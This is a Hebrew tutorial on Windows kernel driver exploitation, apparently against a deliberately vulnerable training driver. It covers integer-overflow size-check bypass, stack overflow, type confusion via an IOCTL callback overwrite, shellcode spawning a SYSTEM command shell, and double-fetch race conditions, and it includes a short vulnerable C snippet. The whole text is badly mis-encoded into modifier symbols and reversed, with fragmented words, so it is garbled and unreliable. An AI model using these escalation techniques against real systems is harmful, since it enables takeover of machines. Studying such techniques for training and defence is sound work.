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:˵˯˲˧˸ ˢ˵˸˰ˢˢ˷ ˸ˮˬ ˪˰ ˫ˢˬ ˡ˥˞ ˫˧˧˵˸˧˷ ˵˧˲˯ˬ˷ ˫˧˞ˮ˸ ˧ˮ˷ ˫ˮ˷˧ 

¶ v2 < Size >> 2 :˭˸˧ˮ ˸ˣ˞˶˪ ˷-v2 ˷ˬ˷ˬ ˢˮˣˬ˩ ,˫ˡˣ˵ˬˣ ˡ˥˞˟ ˪˩˟ ˢ˧˴˶˦˧˞ ˪˷ ˸˞˪ˣ˪ ˢ˵˸˰ˢˢ .

ˢ˪ˣ˰˲ˢ ά{ƛȊŜ ҔҔ нέ ˢ˪ˣ˵˷ ˢ˵ˣ˪˥˪ ˪˷ Size ˟-4 ˶˥˞˪ˣ ˭˩ˬ ˪ˣˠ˧˰ ˧˲˪˩ ˢ˦ˬ .ˢ˶˦ˬˢ ˪˷ ˧˞ˮ˸ˢ 

ˢˤˢ ˞˧ˢ ˞ˡˣˣ˪ ˢ˞˪ˣ˪ˢ˷ ˶ˣ˴˰˸ ˶˥˞˪ ˸˵˸˰ˢ s-DWORD ˫˪˷ˢ ˭ˣ˶˥˞ˢ ˶˲˞˟˟. 

¶ *(DWORD*)UserBuffer != 0xBAD0B0B0 :˫˞ ˢ˩˧˸˥ˢ ˢ˞˟ˢ ˞˧ˢ 0xBAD0B0B0 ,˶ˣ˴˰ ˸˞ 

ˢ˵˸˰ˢˢ - ˣˢˤ s-terminator ˪˷ ˢ˵˸˰ˢˢ. 

 ˰˴˟˪ ˞ˣˢ ˭˞˩ ˸ˣ˷˰˪ ˸ˣˣ˵˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˡ˧˥˧ˢ ˶˟ˡˢoverflow ˧ˮ˯˥ˬ˟ ˟ˣ˷˥ ˨˶˰ ˯ˣ˶ˡ˪ˣ ˶˷˲˞˧˷ ,˸

 .˸˧ˮ˩˸ˢ ˸˴˶ˢ ˪˰ ˦˪˸˷ˢ˪ ˣˮ˪ 

:˸˧ˮ˯˥ˬˢ ˸˞ ˭˥˟ˮ ,˸˧˷˞˶ 

 

 ˸˵ˡˣ˟ ˢ˵˧ˡ˟ˢ :˧˪ˮ˶˵ˢ ˶˲˞˟˪ ˣˮ˪˷ ˶˲˞˟ˢˬ ˵˧˸˰ˢ˪ ˫˧˷˵˟ˬ ˣˮ˞˷ ˫˧˸˟ˢ ˸ˣˬ˩ ˪˰ ˢ˵˧ˡ˟˟ ˭ˮˣ˟˸ˮ

 ˡˣ˰ˣ ,ˢ˧˴˵ˮˣ˲˪ ˫˧˵˲˯ˬ ˣˮ˞˷ ˪ˡˣˠˢ˷4ˬ ˪ˣˡˠ ˞˪ ,-0x800 ˡ˰ ˵˧˸˰ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˨˩ ,0x7FC  .˫˧˸˟

˸˧ˮ˯˥ˬˢ ˪˰ ˦˟ˬˬ.ˢ˵˧ˡ˟ˢ ˭˲ˣ˞˟ ˢ˶ˣ˶˟ ˢ˷˪ˣ˥ ˸ˬ˧˧˵ ˣˮ˪ˤˬ˪ ˪˟˞ ,ˡ˥ˣ˧ˬ˟ ˣˮ˪ ˶ˤˣ˰ ˢˤ˷ ˢ˞˶ˮ ˞˪ , 

 ˣˬ˩ ˸ˣ˲˷˟ ˣ˯ˮ˸ˢ˷ ˣ˪˞C  ˣ˞C++ ˠˣ˯ˬ ˣˢ˷˪˩ ˢˮ˸˷ˬ ˫˧˧˵ :ˢ˞˟ˢ ˸ˣˠˢˮ˸ˢˢ ˸˞ ˶˟˰˟ ˣˣ˥ ˧˞ˡˣˣ ,

unsigned short ˢˬˠˣˡ˪ ,ˢ˪ˣ˰˲ ˣ˸˧˞ ˫˧˰˴˟ˬˣ ,-  ˞ˣˢ ˢˮ˸˷ˬˢ ˪˷ ˨˶˰ˢ ˫˞ .ˡ˥˞˟ ˢ˞˪˰ˢ12 ˶˥˞˪ ,

ˢ ˢ˪ˣ˰˲ˢ ˢ˧ˢ˧ ˨˶˰13 ˞ˣˢ ˨˶˰ˢ ˫˞ ˪˟˞ .ˢ˲˧ˣ ˟ˣ˦ ˪˩ˢˣ ,65535  ˣ˞)0xFFFF ˨˶˰ˢ ˢ˪ˣ˰˲ˢ ˶˥˞˪ ,(

 ˢ˧ˢ˧0˟ ˭˯˥˞˪ ˭˸˧ˮ˷ ˧˪ˬ˧˯˵ˬˢ ˨˶˰˪ ˰˧ˠˢ ˢˮ˸˷ˬˢ ˪˷ ˨˶˰ˢ˷ ˞ˣˢ ˢ˶˵˷ ˢˬ !-2  ˧˶ˢˣ ,˫˧˸˟short 

 ˣ˪ˡˣˠ˷ ˯ˣ˲˧˦ ˞ˣˢ2  ˰˴˟˸ˢ ,ˡ˥˞˟ ˨˶˰ˢ ˸˞ ˫ˡ˵˪ ˣˮ˧˯˧ˮ˷ ˢ˞˟ˢ ˫˰˲˟ ˭˩˪ˣ ,˫˧˸˟overflow 

˦ˬ˸˧˶˞ ˣ˪˞˩ ˫˧˶˵ˬ˪ .˧-  "˱˦˰ˮ" ˣ˞) ˯˲˞˸ˬ ˶˲˯ˬˢ ˪˷ ˨˶˰ˢ ˫ˢ˟˷- wraps ˣ˩˶˰ˬ ˢˠ˧˶˥ ˸ˣ˟˵˰˟ (

 ˧˪ˬ˧˯˵ˬˢ-  ˫˧˞˶ˣ˵Integer Overflow ˠˣ˯ˬ ˨˶˰ ˶˷˞˩ ˷˥˶˸ˬ ˢˬˣˡ ˷˧˥˶˸ .signed  ˨˶˰˪ ˰˧ˠˬ

ˢ ˪ˠˡ ,˸˷˥˶˸ˬ ˣˤ˩ ˢ˪ˣ˰˲˷˩ .˫˧˧˪˧˪˷ ˫˧˩˶˰˪ ˶˟ˣ˰ ˡ˥˞˟ ˫ˣˡ˧˵ ˶˥˞˪ˣ ,ˣ˪˷ ˧˪ˬ˧˯˵ˬˢ ˧˟ˣ˧˥ˢ-OF 

)Overflow) ˫˧˪ˠˡˢ ˶ˠˣ˞˟ (EFLAGS ˟-32bit.˵˪ˡˮ ( 

 ˸ˣ˷˪ˣ˥Integer Overflow  ˞˴ˬˮ˷ ˨˶˰ ˪˰ ˧ˢ˷˪˩ ˸˧˦ˬ˸˧˶˞ ˢ˪ˣ˰˲ ˸˰˴˟˸ˬ ˭ˢ˟˷ ˸ˣ˷˪ˣ˥ ˭ˢ

˪ ˪˧˟ˣˢ˪ ˢ˪ˣ˩˧ ˫˧˞˸ˬ ˦˪˵ ˭˸ˮ˧ˢ˟˷ ,ˣˮ˸˦˧˪˷˟-overflow  ˫˧˪ˣ˩˧ ˣˮ˞˷ ˢ˧ˣ˲˴ ˞˪ ˸ˣˠˢˮ˸ˢ˪ˣ ˨˶˰ˢ ˪˷

 ˨˶˰ˢ ,ˢˤˢ ˢ˶˵ˬ˟ .ˣˮ˸˟ˣ˦˪ ˪˴ˮ˪ά{ƛȊŜέ  ˞ˣˢunsigned int ˸˧˦ˬ˸˧˶˞ ˢ˪ˣ˰˲ ˣ˧˪˰ ˰˴˟ˬ ˶˟˧˧˶ˡˢˣ ,- 

 ˣ˪ ˱˧˯ˣˬ4 -  ˪ˣˬ ˣ˸ˣ˞ ˢˣˣ˷ˬ ˭˩ˬ ˶˥˞˪ˣ0x800 ,˵˧˸˰ˢ˪ ˪˩ˣˮ˷ ˫˧˸˟ˢ ˶˲˯ˬ ˸˞ ˪˧˟ˠˢ˪ ˞˧ˢ ˢ˶˦ˬˢ .

 ˪˰ ˞˪ˣ ,˫˧˵˲˯ˬ ˣˮ˞˷ ˶˲˯ˬˢ ˪˰ ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟ˬ ˶˟˧˧˶ˡˢ˷ ˭ˣˣ˧˩ˬ ˨˞0x800 ˫˞ .ˢ˷˪ˣ˥ ˭˞˩ ˷˧ ,
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 ˵˧˲˯ˬ ˪ˣˡˠ ˨˶˰ ˵˲˯ˮ- ˣˡ˪ ˣˬ˩ ˢˬˠ0xFFFFFFFF -  ˶˲˯ˬ˪ ˱˧˯ˣˮ˷ ˶˥˞˪4 "˱˦˰˧˧" ˣ˪˷ ˨˶˰ˢ ,

 .˸ˣ˰ˬ˷ˬ ˸˶˯˥ ˢ˧ˢ˸ ˢ˵˧ˡ˟ˢˣ 

 ˢ˷˪ˣ˥ ˣˮ˪ ˷˧ ˤ˞-  ˶˲˯ˬˢ ˸˞ ˵˲˯ˮ0xFFFFFFFF ˪ ˫ˣ˶ˠˮ ˨˩ˣ ,˨˶ˣ˞ˢ ˶ˣ˸˟-Integer Overflow  ˶˷˲˞˧˷

 ˡ˰ ˵˧˸˰ˢ˪ ˣˮ˪0xFFFFFFFC  ˪˷ ˢˬ˪˷ ˢ˪ˣ˲˩˪ ˪ˣˠ˧˰ˢ ˸ˣ˟˵˰˟) ˫˧˸˟4˩ˣˮ ˸ˣ˪˵˟˷ ˶ˬˣ˞˷ ˢˬ ,( ˪

 ˰˴˟˪stack overflow ˢ ˪˷ ˸˟ˣ˸˩˟ ˢ˸ˣ˞ ˱˧˪˥ˢ˪ˣ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ˣ-shellcode 

 ˵˧˸˰ˢ˪ ˢ˴˶ˮ ˸ˬ˞˟ ˞˪ ,˸˧˷˰ˬ .ˣˮ˪˷0xFFFFFFFC  ˫˧˸˟-  .ˢ˯˧˶˵˪ ˫ˣ˶ˠ˸ ˸ˣ˞ˡˣˣ˟ ˣˤ˩˷ ˢ˪ˣ˰˲

ˢ ˫˞˷ ˣˮ˧˞˶ ,ˣˮ˪ˤˬ˪-DWORD  ˞ˣˢ ˧˥˩ˣˮˢ0xBAD0B0B0  ˨˶˰ˢ ˸˞ ˫˵ˬˮ ,˭˩˪ .˵˯˲˧˸ ˢ˵˸˰ˢˢ

0xBAD0B0B0  ˫˵ˬˮ ˭˩ ˧ˮ˲˪ˣ ,ˢ˧˴˵ˮˣ˲˪ ˵˲˯ˮ˷ ˶˲˞˟˟ ˶ˣˤ˥˪ ˢ˴˶ˮ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˶˥˞˪ ˡ˧ˬ0x828 

ˬ) ˪˟ˤ ˪˷ ˫˧˸˟-KernelBuffer ˩ ˸˧ˮ˯˥ˬˢ ˸ˮˣˬ˸˟ ˸ˠ˴ˣ˧ˬ˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩˪ ˡ˰-r.( 

ˢ ˸˷˵˟ ˸˞ ˸˥˪ˣ˷ˣ ˫˰ ˸˶˷˵˸ˬˣ ˪"ˮˢ ˢ˪ˣ˰˲ˢ ˸˞ ˢ˷ˣ˰˷ ˢˬ˧˞˸ˬ ˸˧ˮ˩˸ ˫ˣ˷˶ˮ-IOCTL  ,ˢˬ˧˞˸ˬˢ

ˠ˪ ˢ˯ˮˮ ˣˮ˪ˠ˶ˢ˩ˣ˪ ˫ˣ˶-breakpoint  ˫˰int 3: 

 

 ˢ˸˧˧ˢ˷ ˣˤ˪ ˢˢˤ ˭˞˩ ˢ˧˴˞ˣ˦˧˯ˢ˷ ˭ˣˣ˧˩ˬ .˫ˡˣ˵ˢ ˪ˣ˴˧ˮˢˬ ˶˸ˣ˧ ˦ˣ˷˲ ˸˧˸ˣ˰ˬ˷ˬ ˢ˧ˢ ˢˤ ,˟˧ˮˠˬ

 ˣˮ˰˴˧˟˷˩Stack Overflow  ˡˣ˵ ˸˟˧˸˩˟ ˨˶ˣ˴ ˭˧˞ ,˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˸ˣˬˣˡˢ ˸ˣ˟˵˰˟ˣ ,˦ˣ˷˲

ˢ .˷ˡ˥ ˸ˣ˷˷ˣ˞˸ˢ-shellcode ˪ ˢˢˤ ˢ˧ˢ˧ ˣˮ˪˷-shellcode  ˪ˣ˴˧ˮ˟ ˣ˟ ˣˮ˷ˬ˸˷ˢ˷Stack Overflow .

ˢ ˳˶ ˣ˪˷ ˸ˣ˞˷˶ˢˢ ˫˰˷ ˷ˬ˸˷ˬˢ ˸˞ ˭˥˟ˮˣ ,˸˧ˮ˩˸ˢ ˸˞ ˷ˡ˥ˬ ˳˧˶ˮ-cmd  ˸˥˸ˣ˲ ˣˮ˪˷ ˸˧ˮ˩˸ˢ˷

ˢ ˸˷˵˟ ˶˥˞˪-IOCTL: 

 

 ˭˧˧ˮ˰˪ˣ ˶˴˵J  

Type Confusion 

 ˢ˧˴˵ˮˣ˲˟ ˭ˮˣ˟˸ˮ ˫˰˲ˢˣ ,˸˧˯˥˧ ˪˧˪˵ ˪ˣ˴˧ˮ ˡˣ˰ ˫˰ ˨˧˷ˬˮTriggerTypeConfusion ˢ˷)-IOCTL code 

 ˞ˣˢ ˢ˪˷0x222023˪ ˫˧˵˲˯ˬ ˣˮ˞˷ ˶˲˞˟˟ ˵˶ ˸˷ˬ˸˷ˬ ˣˤˢ ˢ˧˴˵ˮˣ˲ˢ .(-DeviceIoControl ,

˪ ˰˧˟˴ˬ ˪˞˩ ˣ˧˪˞ ˸˯˥˧˧˸ˬˣ-_USER_TYPE_CONFUSION_OBJECT . 

 ˢˮˬˬ ˞ˣ˶˵˪ ˭˸˧ˮˣ ˢˮ˧˵˸ ˣˮ˵˲˧˯˷ ˸˟ˣ˸˩ˢ˷ ˧ˣˡ˧ˣˣ ˶˥˞˪8  ˫˰) ˫˧ˣˣ˸ProbeForRead˪ ˢ˞˧˶˵ ˷˧ ,(-

ExAllocatePoolWithTag -  ˢ˧˴˵ˮˣ˲ ˭ˣ˶˩˧ˤ ˸˞˴˵ˢ˪ ˸˷ˬ˷ˬˢpool: ˪ ˧˪ˮ˶˵ˢ ˪˧˟˵ˬˢ-heap  ˵ˬ˰˸ˮˣ)

 ˫˧˴˵ˬ ,ˣˮ˪˷ ˢ˶˵ˬ˟ .ˢ˴˵ˣˬˢ ˭ˣ˶˩˧ˤ˪ ˠ˸ ˭˸ˬ ˨ˣ˸ ,(˨˷ˬˢ˟ ˣ˟8  ˞ˣˢ ˠ˸ˢˣ ˫˧˸˟ΨIŀŎƪΩ. 
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˪ ˰˧˟˴ˬ ˪˞˩ ˫˧˯˥˧˧˸ˬ ˢ˞˴˵ˢ˪-_KERNEL_TYPE_CONFUSION_OBJECT. 

 

˸˞ (ˠˣ˟˧ˡ ˸ˣ˯˲ˡˢ ˶˲˯ˬ ˶˥˞˪) ˫˧˵˧˸˰ˬ ,ˢ˥˧˪˴ˢ ˢ˞˴˵ˢˢˣ ˢˡ˧ˬ˟  ˵˲˯ˬ˷ ˶˲˞˟ˢ ˪˷ ˭˩ˣ˸ˢ ˪˩

˟ ˢ˴˵ˣˬˢ ˶˲˞˟ˢ ˨ˣ˸ ˪˞ ˷ˬ˸˷ˬˢ-Pool: 

 

 ˢˮ˟ˬˢ ˸ˣ˥˲ˢ ˪˩˪˷ ˣ˞ ,˫˧ˢˤ ˫˧ˮ˟ˬˢ ˢ˞˶ˮ˩˷ ˥˧ˮˢ˪ ˶˷˲˞ ˭˞˩ˬ

_USER_TYPE_CONFUSION_OBJECT  ˸˞ ˟˧˥˶ˬ_KERNEL_TYPE_CONFUSION_OBJECT ˶˟ˡˢ .

˪ ˢ˞˧˶˵ ˞ˣˢ ˢ˶ˣ˵˷ ˞˟ˢ ˧˸ˣ˰ˬ˷ˬˢ-TypeConfusionObjectInitializer  ˫˰ ,ˢ˴ˣ˵ˢ˷ ˭ˣ˶˩˧ˤ˪ ˰˧˟˴ˬˢ

˪ ˢ˞˧˶˵ ˭˩ˬ ˶˥˞˪ˣ-ExFreePoolWithTag .ˢ˴˵ˣˢ˷ ˭ˣ˶˩˧ˤˢ ˸˞ ˶˶˥˷˪ ˸ˮˬ ˪˰ 

˸˶ˤˣ˥ ˢ˧˴˵ˮˣ˲ˢ ,˭˩ˬ ˶˥˞˪: 

 

˟ ˵ˬ˰˸ˮ ˭˩˪ ,ˢ˩ ˡ˰ ˣˮ˥˟˷ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˟ ˢ˷˪ˣ˥ ˸ˬ˧˧˵˷ ˢ˞˶ˮ ˞˪-TypeConfusionObjectInitializer .

ˢ ˭˪ˢ˪ .ˢ˶˴˵ ˢ˧˴˵ˮˣ˲˟ ˶˟ˣˡˬ-pseudocode ˪˪˩ ˪˷ :ˢ˧˴˵ˮˣ˲ˢ 
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˟ ˫˧˦˪ˣ˷ ˣˮ˞˷ ˭ˣˣ˧˩ˬ :"ˢ˷˪ˣ˥"ˢ ˭˞˩ˣ-UserTypeConfusionObject ˩ ˣˮ˵˲˧˯˷ ˶˲˞˟ˢ ˢ˷˰ˬ˪ ˣˢˤ)-

input ˪-DeviceIoControl˷ ˭ˣˣ˧˩ˬˣ ,(-KernelTypeConfusionObject  ˫˧˦˪ˣ˷ ˣˮ˞ ,ˣ˪˷ ˢˢˤ ˵˸˰ˢ ˞ˣˢ

 ˢˡ˷˟ ˭˯˥ˣ˞ˬ˷ ˨˶˰˟ ˫ˠObjectType˪ ˫˧˞˶ˣ˵ ˶˷˞˩ ˭˩˪ˣ ,-KernelTypeConfusionObject-

>ObjectType ˸˰ˡ˪ ˪˧˟˷˟ ˢˮ˟ˬˢ ˸˞ ˭˧˟ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˪ ˶˸ˣˮ˷ ˢˬ ˪˩ .ˣˮ˸˶˧˥˟˪ ˸˟ˣ˸˩˪ ˫˧˞˶ˣ˵ ,

 ˢˮ˟ˬˢ ˸˶ˡˠˢ ˸˞ ˭˥˟ˮ .˸˟ˣ˸˩ˢ ˸˞ ˫˵ˬ˪ ˭˩˧ˢ_KERNEL_TYPE_CONFUSION_OBJECT: 

 

 ˞ˣˢ ˧ˮ˷ˢ ˶˷˞˩ ,˫˧˸˟ ˢ˰˟˶˞ ˨˶ˣ˞˟ ˫ˢˬ ˡ˥˞ ˪˩ ,˫˧˶˟˧˞ ˧ˮ˷ ˢˮ˟ˬ˟˷ ˸ˣ˞˶˪ ˭˸˧ˮunion .˷ ˣˮ˧˞˶-

ObjectType ˟ ˞˴ˬˮ-union˟ ˳˧˶ˢ˪ ˢ˴˶ˮ ˢ˸ˣ˞ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢ ˭˩˪ ,-Kernel-Mode  ˢ˩˧˶˴

 ˪˷ ˦˯˧ˢ˟ ˸ˣ˧ˢ˪4  ˳˲ˣ˵ ˡˣ˵ˢ ˧˥˩ˣˮˢ ˢ˶˵ˬ˟˷ ˭ˣˣ˧˩ˬ ,˭˩ ˣˬ˩ .˶˟˧˧˶ˡ˪ ˵˲˯ˮ˷ ˶˲˞˟ˢ ˸˪˧˥˸ˬ ˫˧˸˟

˪ ˸ˣ˷˷ˣ˞˸ˢ ˰˦˵ ˸˲˯ˣˢ˟ ˨˶ˣ˴ ˭˧˞ ,˧ˬ˧˦˧ˠ˪ ˭˲ˣ˞˟ ˣˮ˪˷ ˢ˧˴˵ˮˣ˲˪-shellcode .ˣˮ˪˷  ˸˧ˮ˩˸ ˫ˣ˷˶ˮ

ˢ ˸˞ ˸˪˴ˮˬ˷-IOCTL  ˪˷Type Confusion ˪˷ ˷ˡ˥ ˨˧˪ˢ˸ ˸˥˸ˣ˲ ˭˩ˬ ˶˥˞˪ˣ ,cmd ˪˟˵ˮ ˸ˣ˪˵˟ˣ ,

 ˸ˣ˞˷˶ˢSYSTEM: 

 

 ˫˞ .˭˞˩ ˠ˧˷ˢ˪ ˢ˯˧ˮ ˶˟˧˧˶ˡˢ ˟˸ˣ˩˷ ˢ˶˦ˬˢ ˸˞ ˯˲˯˲˪ ˡˣ˞ˬ ˪˵ ,ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ ˪˷ ˸ˣ˦˷˲ˢ ˸ˣ˟˵˰˟

˴˧ˮ˟ ˭ˢ˟ ˣˮ˵˯˰˷ ˸ˣ˧˴˵ˮˣ˲˟ ˸ˣ˵˯˰˸ˢ ˷˧ ˫˸˧˞ ˫˧ˮ˟ˬˢ ˸˞ ˭˥˟ˮ ˶˸ˣ˧ ˟ˣ˦ ˭˧˟ˢ˪ ˪˩ˣˮ ,ˣˤˢ ˢ˷˪ˣ˥ˢ ˪ˣ

˟ ˭ˮˣ˟˸ˮ ,ˢ˪˧˥˸ .ˢ˶˦ˬˢ ˸˞-_KERNEL_TYPE_CONFUSION_OBJECT˸ˣˡ˷ ˧ˮ˷ ˣˤˢ ˢ˧˴˵ˮˣ˲˟ .: 

ObjectID  ˣ˞ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˱˯ˣˮ ˢˡ˷ˣObjectType  ˣ˞Callback . 

 ˸˞ ˶˧ˡˠˢ˪ ˪ˠˣ˯ˬ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˞˪ ˷ˬ˸˷ˬˢCallback ˸˞ ˞˪˞ ,ObjectType ˧ˡˢ ˸ˣ˯˲ˡˢ˟ ˭˩˪ˣ) ˠˣ˟

˪ ˸ˣ˯˥˧˧˸ˢ ˢ˞˶ˮ-ObjectType ˪ ˞˪ˣ-Callback˟ ˶˟ˣˡˬ˷ ˭ˣˣ˧˩ˬ ˨˞ ,(-union  ˫˧˵˪ˣ˥ ˸ˣˡ˷ˢ ˧˸˷ˣ

 ˫˧˞˶ˣ˵ ˣˮ˞ ˶˷˞˩˷ ˥ˣ˩˷˪ˣ (˶˸ˣ˧ ˨˟ˣ˯ˬ ˡˣ˵˟ ˡˣ˥˧˧˟) ˫ˢ˧ˮ˧˟ ˪˟˪˟˸ˢ˪ ˭˸˧ˮ ,˫ˣ˵˧ˬˢ ˣ˸ˣ˞ ˸˞ ˢ˷˰ˬ˪

-˪Callback  ˪˷ ˢ˶˦ˬˢ ˣˤ˷)TypeConfusionObjectInitializer˫ˣ˶ˠ˪ ˫˧˪ˣ˪˰ ˣˮ˞ ,(  ˢ˧ˣ˴˶ ˞˪ ˸ˣˠˢˮ˸ˢ˪

.˪˴ˮ˪ ˭˸˧ˮ˷ 
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 ˸˷˪ˣ˥ ˪˷ ˶˸ˣ˧ ˸˧˪˞˧˶ ˢˬˠˣˡ ˪˷ ˥ˣ˸˧ˮType Confusion )(CVE 2015-0336 -  ˫˧˯ˮ˶˲˶˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ

.˶ˬ˞ˬˢ ˱ˣ˯˟ 

Double Fetch 

 ˥ˮˣˬˢRace Condition  ˣ˟ ˸˷ˠ˪ ˫˧˯ˮˬ ˡ˥˞ (˭ˣ˩˧˪ˢ˸ ˣ˞) ˨˧˪ˢ˸ˬ ˢ˪˰ˬ˪ ˣ˟˷ ˟˴ˬ ˶ˣ˞˧˸˪ ˷ˬ˷ˬ

 ˸˶ˠ˯ˬ˟ ,˱˸ˣ˷ˬ ˟˞˷ˬ˪ ˸˧ˮˬˤ ˫˪ˣ˰ˬ ˢˬˠˣˡ .˟˞˷ˬ˪ ˢ˷˧ˠ ˢ˧ˢ˸ ˫ˢˬ ˡ˥˞˪ ˵˶˷ ˧˦˧˶˵ ˣ˟ ˰˦˵

 ˳˟ˣ˵˪ ˢ˟˧˸˩ ˞˧ˢ ˣˣ˥ ˫˧˟˶ ˫˧˥˸˲ˬ˷ ˥ˣ˸˧˲ˢ-  ˨˧˪ˢ˸ ˫ˠ ˫˞A  ˨˧˪ˢ˸ ˫ˠˣB  ˣ˸ˣ˞˪ ˟ˣ˸˩˪ ˫˧˯ˮˬ

˪ ˧˯˞˪˵ ˭ˣ˶˸˲ .ˢ˧ˣ˲˴ ˞˪ ˢ˧ˢ˸ (˳˟ˣ˵˪ ˟˸˩˧˧˷ ˭˩ˣ˸ˢ) ˢ˞˴ˣ˸ˢ ,˳˟ˣ˵-Race Conditions .˭ˣ˶˩ˮ˯ ˞ˣˢ 

Race Conditions ˪ ˫˧˪ˣ˪˰ ˪˷ ˢˬ˪˷ ˢ˥˲˷ˬ ˸ˬ˧˧˵ ˢ˥˦˟˞ˢ ˫˪ˣ˰˟ˣ ,˸ˣ˷˪ˣ˥˪ ˭˩ˣ ˫˧ˠ˞˟˪ ˫ˣ˶ˠ

 ˸ˣ˷˪ˣ˥Race Condition ˸˷˪ˣ˥˪ ˸˧˯˥˧ ˸˧ˮ˩ˡ˰ˣ ˸ˬ˯˶ˣ˲ˬ ˢˬˠˣˡ .Race Condition  ˸˷˪ˣ˥ ˞˧ˢ

dirtyc0w.˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˟ˠ˞) ˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˸˶˷˲˞ˬ ˶˷˞ ,..˯˵ˣˮ˧˪ ˸ˣ˯˯ˣ˟ˬ ˸ˣ˩˶˰ˬ˟ (. 

ˢ ˸ˣ˷˪ˣ˥ ˟ˣ˶˟-Race Condition˷ ˧ˬ , ˵˶ ˣˮ˞ˣ ,˪˴ˮ˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞ ˢ˸ˣ˞ ˢ˶˦ˬˢ ˞ˣˢ ˳ˣ˶ˬˢ ˸˞ ˶˴ˣ˧

˸˸ .(ˣ˸˶˧˴˧ ˸˞ ˫˧ˡˡˣ˰ˬ ˣ˞) ˳ˣ˶ˬˢ ˸˞ ˫˧˪˴ˮˬ- ˸ˣ˷˪ˣ˥ ˪˷ ˸ˮ˧˧ˮ˰ˬ ˢ˧˶ˣˠ˦˵Race Condition  ˞˧ˢ

 ˸ˣ˷˪ˣ˥Double Fetch . 

:˞˟ˢ ˡˣ˵ˢ ˰˦˵ ˸˞ ˭˥˟ˮ ,ˢˤˢ ˸ˣ˷˪ˣ˥ˢ ˠˣ˯ ˧˶ˣ˥˞ˬ ˭ˣ˧˰˶ˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰ 

int  doubleFetch ( int *  userNumber )  {  

    if  (* userNumber == 0)  {  

        // Terrible things happen if userNumber=0.  

        return  - 1;  

    }  

    // logic  

    return  performOperation (* userNumber );  

}  

˪ ˢ˞˧˶˵ˬ ˰ˣˮˬ˪ ˥˧˪˴ˬ ˭˩˞ ˡˣ˵ˢ ˰˦˵˷ ˢ˞˶ˮ ,˭ˣ˷˞˶ ˦˟ˬ˟-performOperation  ˫˰0 ˞ ˶ˣ˸˟ ,˦ˮˬˣˠ˶

 ˫˞ ˢˬ ˪˟˞userNumber ˪ ˞˶ˣ˵˷ ˷ˬ˸˷ˬˢ˷ ˸˟ˣ˸˩ ˞˧ˢ-doubleFetch  ,˭˧˧ˮ˰ˢ ˨˶ˣ˴˪ ?ˢ˟ ˦˪ˣ˷

 ˧ˮˣˡˤ ˡ˥˞ ,˸˩˶˰ˬ ˢ˸ˣ˞˟ ˫˧˴˶ˢ ˫˧ˮˣ˷ ˫˧˩˧˪ˢ˸ ˧ˮ˷˪ ˱˸ˣ˷ˬˢ ˭ˣ˶˩˧ˤ ˶ˣˤ˞˟ ˸˟ˣ˸˩˟ ˶˟ˣˡˬ˷ ˥˧ˮˮ

 ˸˞ ˵˲˯ˬ˷ ˨˧˪ˢ˸ˢ)userNumber ˸˞ ˳˧˶ˬ˷ ˨˧˪ˢ˸ˢ) ˭˟˶ˣ˵ ˡ˥˞ˣ (doubleFetch .( 

 ˨˧˪ˢ˸˟ ˫˧˧ˬ˰˲ ˰ˡ˧ˬ˪ ˫˧˷ˠ˧ˮ ,˭˟˶ˣ˵ˢ-  ˢ˧ˮ˷ ˫˰˲ˣ ,˰ˡ˧ˬˢ ˪˷ ˸ˣˮ˧˵˸ˢ ˸˞ ˞ˡˣˣ˪ ˸ˮˬ ˪˰ ˸˥˞ ˫˰˲

 ˢ˯ˮ˧ ˧ˮˣˡˤˢ ˨˧˪ˢ˸ˢ ˫˞ ˢ˶˵˧ ˢˬ .˳˶ ˧ˮˣˡˤˢ ˨˧˪ˢ˸ˢ ˫ˠ ,˪˧˟˵ˬ˟ .˰ˡ˧ˬˢ ˨ˬ˯ ˪˰ ˢ˪ˣ˰˲ ˰˴˟˪ ˸ˮˬ ˪˰

˟˷ ˨˶˰ˢ ˸˞ ˸ˣˮ˷˪-userNumber ˨˞ ,ˣ˟ ˷ˬ˸˷˧ ˭˟˶ˣ˵ˢ˷ ˧ˮ˲˪ ˣ˸ˣ˞ ˸ˣˮ˷˪ ˥˧˪˴˧ ˞ˣˢˣ ˢˡ˧ˬ˟ ? ˶˥˞˪

˟ ˶˟ˣˡˬ ˶ˣ˶˧˟˟ .ˣ˸ˣ˞ ˪˴ˮ˪ˣ ˭˟˶ˣ˵ˢ ˨˧˪ˢ˸ˢ ˪˰ ˫˧˶˰ˢ˪ ˥˧˪˴˧ ˞ˣˢ ,ˣ˸ˣˮ˧˵˸ ˸˞ ˵ˡ˟ ˭˟˶ˣ˵ˢ˷-Race 

Condition.˱˵ˣ˸ˢ ˧ˡ˧ ˪˰ ˞˪˞ ,ˢ˶˦ˬˢ ˧ˡ˧ ˪˰ ˫˶ˠˮ ˞˪ ˳ˣ˶ˬˢ ˭˞˩˷ ˵˶ , 
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 ˸ˣ˷˪ˣ˥ ˸ˣ˞˶˵ˮ ˣ˪˞˩ ˸ˣ˷˪ˣ˥Double Fetch ˫˧˧ˬ˰˲ ˭ˣ˶˩˧ˤˢˬ ˰ˡ˧ˬˢ ˸˞ "˫˧˞˧˟ˬ"˷ ˭ˣˣ˧˩ˬ ,-  ˸˥˞ ˫˰˲

